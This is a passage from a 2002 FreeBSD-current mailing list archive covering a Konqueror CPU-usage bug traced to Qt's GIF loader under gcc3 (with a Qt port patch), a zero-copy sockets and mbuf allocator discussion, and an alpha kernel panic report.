>   * can also identify the period of time that 4.0-CURRENT used thunks.
>   */
> -#if defined(__FreeBSD_cc_version) && \
> + #if defined(__FreeBSD_cc_version) && (__FreeBSD_cc_version < 500003) && \
>      (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
>  #define CFRONT_STYLE_THIS_ADJUST
>  #else



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  7:15:32 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tara.freenix.org (keltia.freenix.org [62.4.20.87])
	by hub.freebsd.org (Postfix) with ESMTP
	id ED32A37B406; Thu, 20 Jun 2002 07:15:26 -0700 (PDT)
Received: by tara.freenix.org (Postfix/TLS, from userid 101)
	id 810FA2A8D; Thu, 20 Jun 2002 16:15:25 +0200 (CEST)
Date: Thu, 20 Jun 2002 16:15:25 +0200
From: Ollivier Robert <roberto@keltia.freenix.fr>
To: FreeBSD Current Users' list <freebsd-current@FreeBSD.ORG>,
	kde@freebsd.org
Subject: konqueror 3.0.1 eats all CPU
Message-ID: <20020620141525.GA2818@tara.freenix.org>
Mail-Followup-To: FreeBSD Current Users' list <freebsd-current@FreeBSD.ORG>,
	kde@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Operating-System: FreeBSD 5.0-CURRENT K6-3D/266 & 2x PIII/800 SMP
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On my vaio laptop running current from 2 days ago and recompiling kde 3.0.1 to
have it all compiled with gcc/g++ 3.1, everytime I run konqueror, kdeinit goes
south and starts eating all CPU... Sometimes, it starts loading the page,
begin to display part of it and then puf, eats all CPU again.

Am I the only on who sees this?

kdeaddons-3.0.1     Additional plugins and scripts for some KDE applications
kdeadmin-3.0.1      KDE applications related to system administration
kdebase-3.0.1       Base modules for the KDE integrated X11 desktop
kdegames-3.0.1      Games for the KDE integrated X11 desktop
kdegraphics-3.0.1   Graphics utilities for the KDE3 integrated X11 desktop
kdelibs-3.0.1_1     Libraries for KDE
kdemultimedia-3.0.1 Multimedia utilities for the KDE integrated X11 desktop
kdenetwork-3.0.1    Network modules for KDE3
kdetoys-3.0.1       Small applications for KDE2
kdeutils-3.0.1      Utilities for the KDE integrated X11 desktop

The various packages kde depends on are up-to-date and freshly recompiled.

sidhe.freenix.org 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Tue Jun 18 16:54:26 CEST 2002     root@sidhe.freenix.org:/local/obj/local/src/src/sys/tSIDHE  i386

-- 
Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr
FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun  4 22:44:19 CEST 2000

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  7:18:31 2002
Delivered-To: freebsd-current@freebsd.org
Received: from h132-197-179-27.gte.com (h132-197-179-27.gte.com [132.197.179.27])
	by hub.freebsd.org (Postfix) with ESMTP
	id 301D737B40A; Thu, 20 Jun 2002 07:18:26 -0700 (PDT)
Received: from kanpc.gte.com (localhost [IPv6:::1])
	by h132-197-179-27.gte.com (8.12.4/8.12.4) with ESMTP id g5KEIPRj002112;
	Thu, 20 Jun 2002 10:18:25 -0400 (EDT)
	(envelope-from ak03@kanpc.gte.com)
Received: (from ak03@localhost)
	by kanpc.gte.com (8.12.4/8.12.4/Submit) id g5KEIPTq002111;
	Thu, 20 Jun 2002 10:18:25 -0400 (EDT)
Date: Thu, 20 Jun 2002 10:18:25 -0400
From: Alexander Kabaev <ak03@gte.com>
To: Ollivier Robert <roberto@keltia.freenix.fr>
Cc: freebsd-current@FreeBSD.ORG, kde@FreeBSD.ORG
Subject: Re: konqueror 3.0.1 eats all CPU
Message-Id: <20020620101825.748e13cc.ak03@gte.com>
In-Reply-To: <20020620141525.GA2818@tara.freenix.org>
References: <20020620141525.GA2818@tara.freenix.org>
Organization: Verizon Data Services
X-Mailer: Sylpheed version 0.7.8claws6 (GTK+ 1.2.10; i386-portbld-freebsd5.0)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I am seeing this even on stable. Could you please do 'ps auxww' for a
full command line of the offending kdeinit process? In my case that was
kicker sitting in tight loop somewhere.


On Thu, 20 Jun 2002 16:15:25 +0200
Ollivier Robert <roberto@keltia.freenix.fr> wrote:

> On my vaio laptop running current from 2 days ago and recompiling kde
> 3.0.1 to have it all compiled with gcc/g++ 3.1, everytime I run
> konqueror, kdeinit goes south and starts eating all CPU... Sometimes,
> it starts loading the page, begin to display part of it and then puf,
> eats all CPU again.
>
> Am I the only on who sees this?
> 
> kdeaddons-3.0.1     Additional plugins and scripts for some KDE
> applications kdeadmin-3.0.1      KDE applications related to system
> administration kdebase-3.0.1       Base modules for the KDE integrated
> X11 desktop kdegames-3.0.1      Games for the KDE integrated X11
> desktop kdegraphics-3.0.1   Graphics utilities for the KDE3 integrated
> X11 desktop kdelibs-3.0.1_1     Libraries for KDE
> kdemultimedia-3.0.1 Multimedia utilities for the KDE integrated X11
> desktop kdenetwork-3.0.1    Network modules for KDE3
> kdetoys-3.0.1       Small applications for KDE2
> kdeutils-3.0.1      Utilities for the KDE integrated X11 desktop
-- 
Alexander Kabaev

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  7:23:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tara.freenix.org (keltia.freenix.org [62.4.20.87])
	by hub.freebsd.org (Postfix) with ESMTP
	id A3DB537B408; Thu, 20 Jun 2002 07:23:45 -0700 (PDT)
Received: by tara.freenix.org (Postfix/TLS, from userid 101)
	id A29962A8D; Thu, 20 Jun 2002 16:23:44 +0200 (CEST)
Date: Thu, 20 Jun 2002 16:23:44 +0200
From: Ollivier Robert <roberto@keltia.freenix.fr>
To: Alexander Kabaev <ak03@gte.com>
Cc: freebsd-current@FreeBSD.ORG, kde@FreeBSD.ORG
Subject: Re: konqueror 3.0.1 eats all CPU
Message-ID: <20020620142344.GA2902@tara.freenix.org>
Mail-Followup-To: Alexander Kabaev <ak03@gte.com>,
	freebsd-current@FreeBSD.ORG, kde@FreeBSD.ORG
References: <20020620141525.GA2818@tara.freenix.org> <20020620101825.748e13cc.ak03@gte.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020620101825.748e13cc.ak03@gte.com>
X-Operating-System: FreeBSD 5.0-CURRENT K6-3D/266 & 2x PIII/800 SMP
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

According to Alexander Kabaev:
> I am seeing this even on stable. Could you please do 'ps auxww' for a
> full command line of the offending kdeinit process? In my case that was
> kicker sitting in tight loop somewhere.

It is konqueror :

roberto 57695 58.5 11.2 33492 7192  ??  R     4:20PM   0:19.16 kdeinit: konqueror --silent (kdeinit)
roberto 57541  0.0  3.5 16616 2228  ??  Ss    4:07PM   0:00.33 kdeinit: Running... (kdeinit)

The rest of kde is running fine and the same konqueror 3.0.1 works fine on my
dual PIII/800 running 4.6-STABLE.
-- 
Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr
FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun  4 22:44:19 CEST 2000

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  7:41:44 2002
Delivered-To: freebsd-current@freebsd.org
Received: from speicher.org (sirius.speicher.org [209.74.10.51])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8238037B404; Thu, 20 Jun 2002 07:41:40 -0700 (PDT)
Received: from localhost (geoff@localhost)
	by speicher.org (8.11.6/8.11.6) with ESMTP id g5KEiKx95511;
	Thu, 20 Jun 2002 10:44:20 -0400 (EDT)
	(envelope-from geoff@speicher.org)
Date: Thu, 20 Jun 2002 10:44:20 -0400 (EDT)
From: "Geoffrey C. Speicher" <geoff@speicher.org>
To: Ollivier Robert <roberto@keltia.freenix.fr>
Cc: "FreeBSD Current Users' list" <freebsd-current@FreeBSD.ORG>,
	kde@FreeBSD.ORG
Subject: Re: [kde-freebsd] konqueror 3.0.1 eats all CPU
In-Reply-To: <20020620141525.GA2818@tara.freenix.org>
Message-ID: <Pine.BSF.4.05.10206201043150.95291-100000@speicher.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, 20 Jun 2002, Ollivier Robert wrote:

> On my vaio laptop running current from 2 days ago and recompiling kde 3.0.1 to
> have it all compiled with gcc/g++ 3.1, everytime I run konqueror, kdeinit goes
> south and starts eating all CPU... Sometimes, it starts loading the page,
> begin to display part of it and then puf, eats all CPU again.

FWIW, Konqueror does this for me on any page that has an animated GIF.

Geoff


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  8:23:31 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by hub.freebsd.org (Postfix) with SMTP id 10E6837B404
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 08:23:18 -0700 (PDT)
Received: (qmail 26110 invoked by uid 0); 20 Jun 2002 15:23:15 -0000
Received: from pd950a5f2.dip.t-dialin.net (HELO gmx.net) (217.80.165.242)
  by mail.gmx.net (mp006-rz3) with SMTP; 20 Jun 2002 15:23:15 -0000
Message-ID: <3D11F334.30300@gmx.net>
Date: Thu, 20 Jun 2002 17:22:28 +0200
From: Michael Nottebrock <michaelnottebrock@gmx.net>
User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ollivier Robert <roberto@keltia.freenix.fr>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: konqueror 3.0.1 eats all CPU
References: <20020620141525.GA2818@tara.freenix.org>
X-Enigmail-Version: 0.61.1.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enigA1127618ED7515380B7C1CB1"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The following is an OpenPGP/MIME signed message
created by Enigmail/Mozilla, following RFC 2440 and RFC 2015
--------------enigA1127618ED7515380B7C1CB1
Content-Type: multipart/mixed;
 boundary="------------070403080701050603030902"

This is a multi-part message in MIME format.
--------------070403080701050603030902
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Ollivier Robert wrote:
> On my vaio laptop running current from 2 days ago and recompiling kde 3.0.1 to
> have it all compiled with gcc/g++ 3.1, everytime I run konqueror, kdeinit goes
> south and starts eating all CPU... Sometimes, it starts loading the page,
> begin to display part of it and then puf, eats all CPU again.

At least on -CURRENT, this stems from QT being compiled with the 
system-gcc3, which breaks the gif-loader of QT. Here is a patch for the 
qt30-port to depend on gcc31 from the the ports for the time being (for 
-CURRENT > 500034)


(uncc'd kde@freebsd.org because I already posted the patch there)


Regards,
-- 
Michael Nottebrock
"The circumstance ends uglily in the cruel result." - Babelfish



--------------070403080701050603030902
Content-Type: text/plain;
 name="qt30.patch.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="qt30.patch.txt"

diff -urN qt30.orig/Makefile qt30/Makefile
--- qt30.orig/Makefile	Sat Jun 15 18:16:30 2002
+++ qt30/Makefile	Thu Jun 20 00:47:44 2002
@@ -63,6 +63,21 @@
 
 .include <bsd.port.pre.mk>
 
+.if ${OSVERSION} > 500034
+BUILD_DEPENDS+= gcc31:${PORTSDIR}/lang/gcc31
+#CONFIGURE_ARGS+= -platform freebsd-portbld-g++31
+CONFIGURE_ARGS= -prefix ${QT_PREFIX} \
+		-shared -qt-gif -system-zlib \
+		-no-g++-exceptions -thread -no-stl \
+		-${IMAGELIB_TYPE}-imgfmt-png \
+		-${IMAGELIB_TYPE}-imgfmt-jpeg \
+		-${IMAGELIB_TYPE}-imgfmt-mng \
+		-system-libpng -system-libjpeg  -system-libmng \
+		-no-nas-sound -sm -remote \
+		-docdir ${QT_PREFIX}/share/doc/qt \
+		-platform freebsd-portbld-g++31
+.endif
+
 .if ${MACHINE_ARCH} == "alpha"
 CFLAGS+=	-O0
 .endif
@@ -99,6 +114,7 @@
 	@cd ${WRKSRC}/extensions/nsplugin/src; \
 		${RM} -f jri.h jri_md.h jritypes.h npapi.h npupp.h \
 			npunix.c npwin.cpp
+	@${CP} -R ${FILESDIR}/freebsd-portbld-g++31 ${WRKSRC}/mkspecs
 
 # Work around qmake generated dependencies
 pre-install:
diff -urN qt30.orig/files/freebsd-portbld-g++31/qmake.conf qt30/files/freebsd-portbld-g++31/qmake.conf
--- qt30.orig/files/freebsd-portbld-g++31/qmake.conf	Thu Jan  1 01:00:00 1970
+++ qt30/files/freebsd-portbld-g++31/qmake.conf	Thu Jun 20 00:48:39 2002
@@ -0,0 +1,80 @@
+#
+# $Id$
+#
+# qmake configuration for freebsd-g++
+#
+
+MAKEFILE_GENERATOR	= UNIX
+TEMPLATE		= app
+CONFIG			+= qt warn_on release
+
+QMAKE_CC		= gcc31
+QMAKE_LEX		= flex
+QMAKE_LEXFLAGS		= 
+QMAKE_YACC		= yacc
+QMAKE_YACCFLAGS		= -d
+QMAKE_CFLAGS		= -pipe
+QMAKE_CFLAGS_DEPS	= -M
+QMAKE_CFLAGS_WARN_ON	= -Wall -W
+QMAKE_CFLAGS_WARN_OFF	= -w
+QMAKE_CFLAGS_RELEASE	= -O2
+QMAKE_CFLAGS_DEBUG	= -g
+QMAKE_CFLAGS_SHLIB	= -fPIC
+QMAKE_CFLAGS_YACC	= -Wno-unused -Wno-parentheses
+QMAKE_CFLAGS_THREAD	= -pthread -D_THREAD_SAFE
+
+QMAKE_CXX		= g++31
+QMAKE_CXXFLAGS_DEPS	= $$QMAKE_CFLAGS_DEPS
+QMAKE_CXXFLAGS		= $$QMAKE_CFLAGS
+QMAKE_CXXFLAGS_WARN_ON	= $$QMAKE_CFLAGS_WARN_ON
+QMAKE_CXXFLAGS_WARN_OFF	= $$QMAKE_CFLAGS_WARN_OFF
+QMAKE_CXXFLAGS_RELEASE	= $$QMAKE_CFLAGS_RELEASE
+QMAKE_CXXFLAGS_DEBUG	= $$QMAKE_CFLAGS_DEBUG
+QMAKE_CXXFLAGS_SHLIB	= $$QMAKE_CFLAGS_SHLIB
+QMAKE_CXXFLAGS_YACC	= $$QMAKE_CFLAGS_YACC
+QMAKE_CXXFLAGS_THREAD	= -pthread -D_THREAD_SAFE
+
+# Addon software goes into /usr/local on the BSDs, by default we will look there
+#QMAKE_INCDIR		= /usr/local/include
+#QMAKE_LIBDIR		= /usr/local/lib
+QMAKE_INCDIR_X11	= /usr/X11R6/include
+QMAKE_LIBDIR_X11	= /usr/X11R6/lib
+QMAKE_INCDIR_QT		= $(QTDIR)/include
+QMAKE_LIBDIR_QT		= $(QTDIR)/lib
+QMAKE_INCDIR_OPENGL	= /usr/X11R6/include
+QMAKE_LIBDIR_OPENGL	= /usr/X11R6/lib
+
+QMAKE_LINK		= g++31
+QMAKE_LINK_SHLIB	= g++31
+QMAKE_LFLAGS		= 
+QMAKE_LFLAGS_RELEASE	=
+QMAKE_LFLAGS_DEBUG	=
+QMAKE_LFLAGS_SHLIB	= -shared
+QMAKE_LFLAGS_PLUGIN	= $$QMAKE_LFLAGS_SHLIB
+QMAKE_LFLAGS_SONAME	= -Wl,-soname,
+QMAKE_LFLAGS_THREAD	= -pthread
+QMAKE_RPATH		= -Wl,-rpath,
+
+QMAKE_LIBS		=
+QMAKE_LIBS_X11		= -lXext -lX11 -lm
+QMAKE_LIBS_X11SM	= -lICE -lSM
+QMAKE_LIBS_QT		= -lqt
+QMAKE_LIBS_QT_THREAD	= -lqt-mt
+QMAKE_LIBS_OPENGL	= -lGLU -lGL -lXmu
+QMAKE_LIBS_OPENGL_QT	= -lGL -lXmu
+QMAKE_LIBS_THREAD	= 
+
+QMAKE_MOC		= $(QTDIR)/bin/moc
+QMAKE_UIC		= $(QTDIR)/bin/uic
+
+QMAKE_AR		= ar cqs
+QMAKE_RANLIB		=
+
+QMAKE_TAR		= tar -cf
+QMAKE_GZIP		= gzip -9f
+
+QMAKE_COPY		= cp -f
+QMAKE_MOVE		= mv -f
+QMAKE_DEL_FILE		= rm -f
+QMAKE_DEL_DIR		= rmdir
+
diff -urN qt30.orig/files/freebsd-portbld-g++31/qplatformdefs.h qt30/files/freebsd-portbld-g++31/qplatformdefs.h
--- qt30.orig/files/freebsd-portbld-g++31/qplatformdefs.h	Thu Jan  1 01:00:00 1970
+++ qt30/files/freebsd-portbld-g++31/qplatformdefs.h	Wed Jun 19 23:52:45 2002
@@ -0,0 +1,89 @@
+#ifndef QPLATFORMDEFS_H
+#define QPLATFORMDEFS_H
+
+// Get Qt defines/settings
+
+#include "qglobal.h"
+
+// Set any POSIX/XOPEN defines at the top of this file to turn on specific APIs
+
+#include <unistd.h>
+
+
+// We are hot - unistd.h should have turned on the specific APIs we requested
+
+
+#ifdef QT_THREAD_SUPPORT
+#include <pthread.h>
+#endif
+
+#include <dirent.h>
+#include <fcntl.h>
+#include <grp.h>
+#include <pwd.h>
+#include <signal.h>
+
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <sys/ipc.h>
+#include <sys/time.h>
+#include <sys/shm.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+
+// DNS header files are not fully covered by X/Open specifications.
+// In particular nothing is said about res_* :/
+// On BSDs header files <netinet/in.h> and <arpa/nameser.h> are not
+// included by <resolv.h>. Note that <arpa/nameser.h> must be included
+// before <resolv.h>.
+#include <netinet/in.h>
+#define class c_class // FreeeBSD 3.x
+#include <arpa/nameser.h>
+#undef class
+#include <resolv.h>
+
+
+#define QT_STATBUF		struct stat
+#define QT_STATBUF4TSTAT	struct stat
+#define QT_STAT			::stat
+#define QT_FSTAT		::fstat
+#define QT_STAT_REG		S_IFREG
+#define QT_STAT_DIR		S_IFDIR
+#define QT_STAT_MASK		S_IFMT
+#define QT_STAT_LNK		S_IFLNK
+#define QT_FILENO		fileno
+#define QT_OPEN			::open
+#define QT_CLOSE		::close
+#define QT_LSEEK		::lseek
+#define QT_READ			::read
+#define QT_WRITE		::write
+#define QT_ACCESS		::access
+#define QT_GETCWD		::getcwd
+#define QT_CHDIR		::chdir
+#define QT_MKDIR		::mkdir
+#define QT_RMDIR		::rmdir
+#define QT_OPEN_RDONLY		O_RDONLY
+#define QT_OPEN_WRONLY		O_WRONLY
+#define QT_OPEN_RDWR		O_RDWR
+#define QT_OPEN_CREAT		O_CREAT
+#define QT_OPEN_TRUNC		O_TRUNC
+#define QT_OPEN_APPEND		O_APPEND
+
+#define QT_SIGNAL_RETTYPE	void
+#define QT_SIGNAL_ARGS		int
+#define QT_SIGNAL_IGNORE	SIG_IGN
+
+#if __FreeBSD_version < 400000
+// FreeBSD 1.0 - 3.5.1
+#  define QT_SOCKLEN_T		int
+#else
+// FreeBSD 4.0 - 5.0
+#  define QT_SOCKLEN_T		socklen_t
+#endif
+
+#define QT_SNPRINTF		::snprintf
+#define QT_VSNPRINTF		::vsnprintf
+
+
+#endif // QPLATFORMDEFS_H

--------------070403080701050603030902--

--------------enigA1127618ED7515380B7C1CB1
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9EfM5Xhc68WspdLARArwBAKCjxk9gtBrJLFBInGcgAoIFLP8GsQCfVfZH
YlHayMh7vMCPNn0Cm0nwnns=
=ul9u
-----END PGP SIGNATURE-----

--------------enigA1127618ED7515380B7C1CB1--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  8:24:47 2002
Delivered-To: freebsd-current@freebsd.org
Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2673B37B406; Thu, 20 Jun 2002 08:24:37 -0700 (PDT)
Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30])
	by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id LAA02499;
	Thu, 20 Jun 2002 11:24:35 -0400 (EDT)
Received: (from gallatin@localhost)
	by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g5KFO5I30340;
	Thu, 20 Jun 2002 11:24:05 -0400 (EDT)
	(envelope-from gallatin@cs.duke.edu)
From: Andrew Gallatin <gallatin@cs.duke.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15633.62357.79381.405511@grasshopper.cs.duke.edu>
Date: Thu, 20 Jun 2002 11:24:05 -0400 (EDT)
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
In-Reply-To: <20020619233721.A30669@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org>
	<xzpelf3ida1.fsf@flood.ping.uio.no>
	<20020619090046.A2063@panzer.kdm.org>
	<20020619120641.A18434@unixdaemons.com>
	<15633.17238.109126.952673@grasshopper.cs.duke.edu>
	<20020619233721.A30669@unixdaemons.com>
X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Bosko Milekic writes:
 > 
 > On Wed, Jun 19, 2002 at 10:52:06PM -0400, Andrew Gallatin wrote:

<...>

 >   Yes, I know that that's what it does.  What I meant was that it would
 > be convenient to have UMA handle the allocation bit.  It should be
 > possible to have UMA do this sort of allocation and keep the free pages
 > in per-CPU caches.  The problem right now, as you know, is that UMA
 > (nor mb_alloc for that matter) will allow you to play those vm-tricks
 > you play on the allocated pages.  I was just pointing out that it is an
 > unfortunate thing and that, hopefully, UMA will allow for this sort of
 > thing at some point in the future.

Ah, OK, point taken.   I'm sorry if I gave offense.

 >   By the way, my other two comments have been deleted, but reading the
 > page that Ken maintains I noticed that Alfred already pointed them out.

<...>

Ken has been maintaining the patchset on his own for quite some time.
I must admit that I've not looked closely at these issues, so I didn't
feel it was appropriate for me to comment on them.  I didn't mean to
discount your other comments.

 > [...]
 > > This is orthogonal to the zero-copy patch, but it _would_ be nice to
 > > have general purpose mbuf allocator which could allocate mbuf clusters
 > > with 9K physically contigous for dumber nics.  There are a whole slew
 > > of drivers (unpatched ti, bge, nge, lge, etc) which roll their own for
 > > no better reason than the system doesn't offer this feature.  That's
 > > what needs fixing.  Heck, if such an allocator was available, we could
 > > use it for copyin's of large chunks of data.   Tru64 has 8K and 2K
 > > clusters and does this. (based from emperical evidence garnered at the
 > > driver level).
 > 
 >   Right.  It's very hard to do > PAGE_SIZE allocations that are backed
 > by physically contiguous memory in FreeBSD right now.  I agree that this
 > would be very useful, though.
 >

Years ago, I used Wollman's MCLBYTES > PAGE_SIZE support (introduced
in rev 1.20 of uipc_mbuf.c) and it seemed to work OK then.  But having
16K clusters is a huge waste of space. ;).

Do you think it would be feasable to glue in a new jumbo (10K?)
allocator on top of the existing mbuf and mcl allocators using the
existing mechanisms and the existing MCLBYTES > PAGE_SIZE support
(but broken out into separte functions and macros)?

Drew

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  8:25:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP
	id 631E837B40A; Thu, 20 Jun 2002 08:25:13 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id CCF0F5363; Thu, 20 Jun 2002 17:25:11 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Nick Hibma <n_hibma@van-laarhoven.org>
Cc: alpha@freebsd.org, current@freebsd.org
Subject: Re: cvs commit: src/sys/pc98/pc98 sio.c src/sys/conf options options.i386 options.ia64 options.pc98 src/sys/dev/sio sio.c sioreg.h
References: <20020620162548.P4464-100000@uitsmijter.van-laarhoven.org>
	<xzp7kkuf2j9.fsf@flood.ping.uio.no>
	<xzpptymdlrd.fsf@flood.ping.uio.no>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 20 Jun 2002 17:25:11 +0200
In-Reply-To: <xzpptymdlrd.fsf@flood.ping.uio.no>
Message-ID: <xzphejydlbc.fsf@flood.ping.uio.no>
Lines: 25
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav <des@ofug.org> writes:
> It doesn't boot, however

FWIW, once I reverted your changes to sio,c and sioreg.h, it only got
as far as:

Booting [/boot/kernel/kernel]...
Entering /boot/kernel/kernel at 0xfffffc0000330a30...
sio1: gdb debugging port
Copyright (c) 1992-2002 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.
FreeBSD 5.0-CURRENT #10: Thu Jun 20 17:17:50 CEST 2002
    root@dsa.thinksec.com:/usr/src/sys/alpha/compile/DSA
panic: lockmgr: locking against myself
panic
Stopped at      0xfffffc00004f0e44:     zapnot  v0,#0xf,v0      <v0=0x6>
db> trace
db> reset

halted CPU 0

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  8:47:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tesla.distributel.net (nat.MTL.distributel.NET [66.38.181.24])
	by hub.freebsd.org (Postfix) with ESMTP
	id 386AA37B408; Thu, 20 Jun 2002 08:47:32 -0700 (PDT)
Received: (from bmilekic@localhost)
	by tesla.distributel.net (8.11.6/8.11.6) id g5KFjBt22455;
